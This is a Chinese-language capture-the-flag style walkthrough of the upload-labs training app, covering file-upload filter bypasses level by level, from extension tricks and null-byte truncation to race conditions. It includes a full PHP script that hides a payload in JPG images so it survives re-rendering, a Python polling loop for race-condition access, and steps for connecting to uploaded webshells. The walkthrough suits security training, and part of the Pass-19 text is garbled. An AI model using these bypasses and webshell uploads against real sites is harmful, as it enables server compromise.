漏洞初步认识
漏洞初步介绍可见另外一篇文章漏洞的初步认识
Pass-01
查看源码,发现只能上传三个文件类型,我们上传其它文件来看它的回显
用弹窗进行错误提示的话证明是运用了前端验证,我们只需F12查看,将前端验证的部分进行添加即可
Pass-02
上传文件,查看回显。查看代码,发现与content-type相关的,只要改content-type的类型即可,上传一个一句话木马图片,在burp中修改为php后缀
最后上传即可
Pass-03
查看源代码,发现有限制,我们只需上传php的其它后缀名即可
Pass-04
查看代码发现上题的解决方法不能用了,限制太多了
通过查看wp,可以发现使用.htaccess文件进行绕过。
Pass-05
查看代码发现,并未对大写进行限制对后缀名进行大小写混合,将’.php’改写为‘.Php’,以此绕过黑名单
Pass-06
从源码可以看出没有了删除空格,所以可以在文件后缀名末尾加空格,windos在存储时会自动去处空格,在检测时可以绕过限制。
Pass-07
源码中没有删除文件末尾点的代码,所以可以在文件后缀名后加点,‘.php’改写为’.php.',并且和06一样,Windows存储时也会自动去除后缀名末尾的点,在检测时可绕过黑名单。
Pass-08
发现缺少的限制是::$DATA类型
Pass-09
查看代码,发现该题并未缺少限制,首先会去处文件名末尾的点,然后首尾去空。所以我们可用空格来充当占位符号,.php’改写为.php. .
Pass-10
注意这句代码,这句代码的意思是,所有与黑名单相同的后缀名都会被替换为空。
所以我们可以用pphphp来绕过
Pass-11~12
查看源码两道题都是发现是基于post的save_path,如何判断是get还是post,抓包查看save_path在什么位置,在上面的url的位置上就是get(11题),12题的情况就是post,均使用00截断。
11题,传参方式为GET型,且根据提示发现,传参路径可控,将文件改名为phpinfo.jpg后,抓包修改savepath,存储后存储路径会和文件名称合并,最终形成文件名为’phpinfo.php%00phpinfo.jpg’。
12题方法一样,使用0x00
Pass-13
要使用图片一句话木马,我们先去学习如何制作。具体操作
再上传即可
Pass-14
发现getimagesize()函数,我们只要在文件内容的起始位置加上一个GIF89a即可,这样我们的文件就会被认为是一个图片,php的getimagesize()函数也检测不出来我们构造的这个“虚假”的图片是无效的。
最后使用蚁剑连接,继续利用文件包含的漏洞进行利用该上传的一句话木马即可
Pass-15
发现要使用exif_imagetype(),查阅资料发现exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多但需要开启php_exif模块
其余方法和14一样最后使用蚁剑连接,继续利用文件包含的漏洞进行利用该上传的一句话木马即可
Pass-16(不是很懂)
要使用二次渲染
1、配合文件包含漏洞:
将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
2、可以配合条件竞争:
这里二次渲染的逻辑存在漏洞,先将文件上传,之后再判断,符合就保存,不符合删除,可利用条件竞争来进行爆破上传
原文链接:https://blog.youkuaiyun.com/weixin_45588247/article/details/119177948
我们这里使用JPG绕过
先创建一个脚本,用于生成绕过二次渲染的图片马
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
图片🐎用010打开,就可以看到插入的php代码
上传后,将图片下载,用010查看是不是被过滤,发现蚂蚁被过滤即可
Pass-17(不是很懂)
通过提示发现跟以前的都不一样,查看代码
本题看不懂去查阅wp发现
如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。
那还怎么搞?上传上去就被删除了,我还怎么去访问啊。
不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。 明。
php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件直到成功访问为止
原文链接:https://blog.youkuaiyun.com/weixin_47598409/article/details/115050869
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
Pass-18(不是很懂)
查看提示
发现还是审计代码,不是很懂,看大佬的wp了,发现代码没有对上传的文件做判断,只对用户输入的文件名做判断。后缀名黑名单,上传的文件名用户可控,黑名单用于用户输入的文件后缀名进行判断。move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.
先准备PHP一句话木马,并把后缀名改为PNG再上传
然后用BP来抓包,修改为php,再放包,然后复制图片地址,用蚁剑连接查看
Pass-19(不是很懂)
查看代码,会发现也不是很懂,看大佬的wp后,发现这关的主要过程
验证过程:
–> 验证上传路径是否存在
–> 验证[‘upload_file’]的content-type是否合法(可以抓包修改)
–> 判断POST参数是否为空定义 f i l e 变量(关键:构造数组绕过下一步的判断) − − > 判断 f i l e 不是数组则使用 e x p l o d e ( ′ . ′ , s t r t o l o w e r ( file变量(关键:构造数组绕过下一步的判断) -->判断file不是数组则使用explode('.', strtolower( file变量(关键:构造数组绕过下一步的判断)−−>判断file不是数组则使用explode(′.′,strtolower(file))对file进行切割,将file变为一个数组
–> 判断数组最后一个元素是否合法
–> 数组第一位和 f i l e [ c o u n t ( file[count( file[count(file) - 1]进行拼接,产生保存文件名file_name
–> 上传文件
首先准备PHP一句话木马
然后上传用BP来拦截并改包
复制图片地址,用蚁剑进行连接即可。